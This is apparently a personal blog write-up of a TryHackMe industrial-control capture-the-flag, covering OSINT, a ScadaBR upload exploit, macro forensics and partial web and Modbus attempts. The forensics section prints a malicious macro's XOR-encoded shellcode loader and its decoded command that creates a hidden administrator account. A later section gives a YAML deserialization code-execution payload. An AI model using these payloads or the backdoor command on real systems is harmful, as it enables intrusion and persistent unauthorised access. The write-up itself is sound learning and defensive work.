Industrial Intrusion CTF

By Nicholas Howland 7/4/2025
Updated 8/3/2025 for clarity and to go into more detail about how challenges were solved, fixed critical grammar issues.
Last weekend I got together with a couple of friends to compete in the Industrial Intrusion capture the flag competition hosted by Try Hack Me. We are all still waiting for the official results to drop, eventually Ill update this page with our rankings. I was able to complete all the OSINT challenges and one of the forensics challenges and one of the web-app challenges. I ended up not really pursuing the ICS challenges other than reading remotely exposed registers and trying to wrap my head around node red. This blog is separated into two different sections; Completed Challenges that I was able to get the flag on and Learning Moment Challenges where an opportunity for learning new things but no flag was obtained but I learned something or had fun playing with.
Completed Challenges
OSINT 1
Objective
NullRook prowls a smart chessboard hub where automation meets strategy. In the digital workshop, subtle flaws in the robot interface threaten to tip the balance of play.
Target
virelia-water.it.com
Steps Taken
- For initial reconnaissance I preformed a couple DNS lookups using the
dig
utility against the website which showed records pointing to a github.io site. - Using virustotal I was able to preform a domain history record for which revealed stage0.virelia-water.it.com which resolves to the solstice-tech1.github.io domain.
- I was able to find a user that went by the name solstice tech1 which can still be found on github at https://github.com/solstice-tech1/. They have two repositories named staging panel and ot-auth-monitor.
- After downloading the github repositories I combed through the source code.
- The ot-auth-monitor panel contained one html page which redirected the user to 54484d7b5375357373737d.virelia-water.it.com, which was likely used to harvest credentials.
- The string is actually a hex encoded string that reveals the flag: THM{REDACTED}
OSINT 2
Objective
“Great work on uncovering that suspicious subdomain, Hexline. However, your work here isn’t done yet, we believe there is more.”
Steps Taken
- Next I began looking into the files contained in the staging panel repository.
- Within the staging-panel-main repository the panel html page included a javascript repository which can be found here: https://raw.githubusercontent.com/SanTzu/uplink-config/refs/heads/main/init.js which included a reference to a fallback dns at uplink-fallback.virelia-water.it.com
- Using virustotal to preform a historical DNS record lookup the following base64 string was found in a TXT record
eyJz...REDACTED...WR9In0=
when decoded it revealed the flag THM{REDACTED}
OSINT 3
Objective
After the initial breach, a single OT-Alert appeared in Virelia’s monthly digest—an otherwise unremarkable maintenance notice, mysteriously signed with PGP. Corporate auditors quietly removed the report days later, fearing it might be malicious. Your mission is to uncover more information about this mysterious signed PGP maintenance message.
Steps taken
- First I began by searching github for a site mirror of the site hosted at https://virelia-water.it.com
- A github user named virelia-water is hosting the site at virelia-water.it.com
- The information in the github change log showed that there was an old web directory called /contact/.
- One of the git commit logs showed the old PGP key and message which is as follows
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Please confirm system integrity at 03:00 UTC.
-----BEGIN PGP SIGNATURE-----
iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----
- Key information can be extracted by decrypting the gpg message as a text file named
message.txt
using the following command.gpg --decrypt message.txt
- After preforming a Key lookup using the keys rsa hash provided by the decrypt function in gpg. The flag was revealed by looking up the key signature on the keyserver.ubuntu.com where it was exposed in plain text
gpg --keyserver hkps://keyserver.ubuntu.com --search-keys <key-signature>
Web-1 Brr v1
Objective
A forgotten HMI node deep in Virelia’s wastewater control loop still runs an outdated instance, forked from an old Mango M2M stack.
Steps Taken
- Results from the initial nmap scan were as follows.
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http WebSockify Python/3.12.3
5901/tcp open vnc VNC (protocol 3.8)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
- This reveals that the application server is using a Python web application using the most up to date version of python, the VNC service was also using the most up to date version.
- The webserver on port 8080 hosted an instance of scadabr revealed at the bottom of the webpage. I was able to log in with the default credentials of admin:admin discovered through a google search.
- I used a published proof of concept script named LinScada_RCE.py which can be found here: https://github.com/hev0x/CVE-2021-26828_ScadaBR_RCE. This works by uploading a file to the scadaBR interface using valid credentials.
- The exploit works because there is no file type checking on uploaded files. The exploit will upload a jsp (javascript server page) which allows for remote code execution.
- After uploading the payload I was able to discover the flag in the users home directory in a
flag.txt
file.
Forensics-1 Orcam
Objective
Dr. Ayaka Hirano loves to swim with the sharks. So when the attackers from Virelia successfully retaliated against one of our own, it was up to the good doctor to take on the case. Will Dr. Hirano be able to determine how this attack happened in the first place?
Press the Start Machine button at the top of the task to launch the VM. The VM will start in a split-screen view. If the VM is not visible, then you can press the Show Split View button at the top of the page.
Steps Taken
- The file provided was an email file which contained a malicious document which was scanned on virustotal and the results can be found here: https://www.virustotal.com/gui/file/21dd0a51f66ab2c829e02bf99bc0bc8674da5994f732688102cfa6dbc626dd53
- The document contained a vbs macro which was found by using binwalk to extract the executable code found in vbaProject.bin within the unpacked files.
- This binary file is in a compiled binary format which requires it to be decompiled. Luckily for us there is a very kind forensics expert from SANS who published a free tool to extract vbs code from compiled macro binaries named oledump. The quick reference can be found here: https://www.sans.org/posters/oledump-py-quick-reference/ which contains a direct link to the authors self published zipped source code.
- Once the macro was decompiled the following function was found:
buf = Array(144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132, 121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121, 72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117, 186, 2, 204, 216, 173, _
252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50, 224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98, 139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139, 185, 136, 211, 105, 70, 57, 91, 210, 249, _
142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127, 65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19, 28, 45, 76, 21, 19, 26, 9, _
71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21, 24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108)
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("l33t")
Next i
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
- The above macro will first create a buffer array of integers which map to the range of ascii values however if decoded as their current value they will end up spitting out gibberish. Looking at the code right after the large integer array we can see that the function is xor encrypted with the private key of
l33t
. The payload will end up being decrypted then loaded into memory and executed on the target system. - XOR encryption works on a shared key which using a process called symmetric encryption. This means that the same key that is used to encrypt and decrypt the text.
- The threat actor had hard coded their encryption key so we were able to decrypt the encrypted text to discover the following command that was run on the target machine. The payload, once decrypted, would add a new local user account named
administrrator
, note the double r, and add them to the administrator user group.net user administrrator VE<REDACTED>B9 /add /Y & net localgroup administrators administrrator /add
- The encoded string that was used as the administrator password was decoded to be THM{REDACTED}
Learning Moment Challenges
These are challenges that I partially completed but was able to learn something new while completing. Sometimes winning just means learning something you did not know before you started playing.
Breach
Objective
Find the flag and open the gate by bypassing the badge authentication system. Find a weakness dig in explore and see what it takes to exploit. Check all open ports.
Steps Taken
- The initial nmap scan showed the following open ports
Discovered open port 80/tcp on <target-ip>
Discovered open port 8080/tcp on <target-ip>
Discovered open port 22/tcp on <target-ip>
Discovered open port 1880/tcp on <target-ip>
Discovered open port 502/tcp on <target-ip>
- When visiting the website on port 80 a gate status monitor was discovered.
- When probing the website on port 8080 a login portal was shown.
- When running a port scan with service detection on port 1880 a http server was found using node-red that appears to be a function diagram for the badge reader.
- 502 is a known port for the ICS modbus protocol, by using a script from previous ICS rooms I was able to start monitoring the values that were output from the target system.
- I tried setting a number of registers to see if anything happened but no change was visible to the gate monitoring interface on port 80.
- I took a look at the admin panel login and tried the default credentials for the webpage but no access was given.
- Port 1880 had a node red interface available. Node red is used commonly in physical systems diagramming and programming which I have zero experience using.
- After investigating the individual functions I discovered a function that controls two coils. When the value on one of the coils is set to 20 bits the motion detector is set to be true. This was also true for the value of 25 within another function reading from the second coil.
- The probe did not yield any observable results on the gate monitoring facing interface, however a quick
searchsploit
revealed two vulnerabilities in the OpenPLC web interface. - It looks like the proof of concept code requires valid credentials on the server which were not provided.
- The node red instance seems to be up to date as well and I could not find any published vulnerabilities in the version used.
- Given more time and resources I would have begun a password spray/brute force against the OpenPLC to obtain valid credentials and upload the exploit code.
Web-2 Persistence
Objective
After the notorious malware strike on the Virelia Water Control Facility, phantom alerts and erratic sensor readings plague a system that was supposed to be fully remediated. As a Black Echo red-team specialist, you must penetrate the compromised portal, unravel its hidden persistence mechanism, and neutralize the backdoor before it can be reactivated.
Steps Taken
- The initial nmap scan revealed the following ports
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
- Whatweb probe results
http://<target-ip> [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[<target-ip>], Title[Welcome to nginx!], nginx[1.24.0]
- I browsed to the website and found an update configuration page at /config/update url that accepts YAML.
- When I tried to upload a blank YAML config I get the 403 unauthorized server error code.
- The following log could be found on the logs page of the web application.
2025-06-28T20:04:07 STARTUP CONFIG: {'SIGNATURE': 'secr3tFTW192d2390', 'PLCS': [{'id': 'PLC-101', 'ip': '192.168.10.11'}, {'id': 'PLC-102', 'ip': '192.168.10.12'}], 'SENSORS': [{'name': 'FlowRate', 'unit': 'L/s'}, {'name': 'Pressure', 'unit': 'bar'}]}
2025-06-28T20:04:07 DEBUG: loader script at /opt/hmi/update.py
2025-06-28T20:04:07 DEBUG: webapp script at /opt/hmi/app.py
- When viewing the logs the URL included the file name
http://<target-ip>:8080/logs/view?name=debug.log
- I tested for path traversal vulnerabilities by changing the
debug.log
value in the URL and wrote a script to help automate this which can be found here: https://github.com/ExylumTechnical/scripts-ctf/blob/main/Exploits/directory-traversal.py - I started trying to find the update.py and app.py file paths mentioned in the log, in the hopes that the source code could be revealed but the application was not vulnerable to path traversal at the
name
endpoint. - Going back to the configuration file upload page I began testing for RCE potentials in the configuration upload. This idea came from a known exploitation vector that has to do with uploading a yaml configuration with python code into yaml files, the proof of concept code is as follows:
!!python/object/apply:os.system ["id"]
- Upon uploading a file to the config input I was met with a "forbidden" message.
- When attempting file uploads a referrer header was added into the requests, my next steps were to attempt changing the value of the referrer header to trick the server into thinking the request came from one of the internal IP addresses found in the log discovered earlier.
- When manually exploring the website another page was found at the /sensors uri that produced the following JSON output.
{"datasets":[{"data":[12.53,13.43,16.13,12.92,16.02,16.51,16.35],"label":"FlowRate"},{"data":[1.24,1.35,1.39,1.39,1.44,1.48,1.3],"label":"Pressure"}],"labels":["20:18","20:28","20:38","20:48","20:58","21:08","21:18"]}
- My next steps on this machine were to start testing the referrer header and attempting to discover where and how the
SIGNATURE
value was used in the application.